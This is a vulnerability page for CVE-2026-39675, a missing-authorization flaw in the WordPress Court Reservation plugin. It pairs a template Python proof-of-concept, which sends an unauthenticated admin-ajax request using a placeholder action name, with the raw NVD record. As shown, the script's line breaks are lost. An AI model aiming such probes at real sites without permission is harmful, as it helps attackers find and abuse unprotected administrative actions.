CVE-2026-39675

# PoC for CVE-2026-39675 - Missing Authorization # This script demonstrates sending an unauthenticated request to a potentially vulnerable endpoint. import requests def check_vulnerability(target_url): # The vulnerable endpoint might be an AJAX action or specific plugin route # Adjust the endpoint and parameters based on actual exploit disclosure endpoint = "/wp-admin/admin-ajax.php" full_url = f"{target_url.rstrip('/')}{endpoint}" # Payload attempting to perform an administrative action without auth data = { "action": "court_reservation_vulnerable_action", # Placeholder for actual action "param": "exploit_test" } try: response = requests.post(full_url, data=data, timeout=10) if response.status_code == 200 and "success" in response.text.lower(): print(f"[+] Target {target_url} appears vulnerable.") return True else: print(f"[-] Target {target_url} does not appear vulnerable or action failed.") return False except requests.RequestException as e: print(f"[!] Error connecting to {target_url}: {e}") return False if __name__ == "__main__": target = "http://example.com" check_vulnerability(target)

{"cve": {"id": "CVE-2026-39675", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.087", "lastModified": "2026-04-29T10:17:38.963", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in webmuehle Court Reservation court-reservation allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Court Reservation: from n/a through <= 1.10.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/court-reservation/vulnerability/wordpress-court-reservation-plugin-1-10-11-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}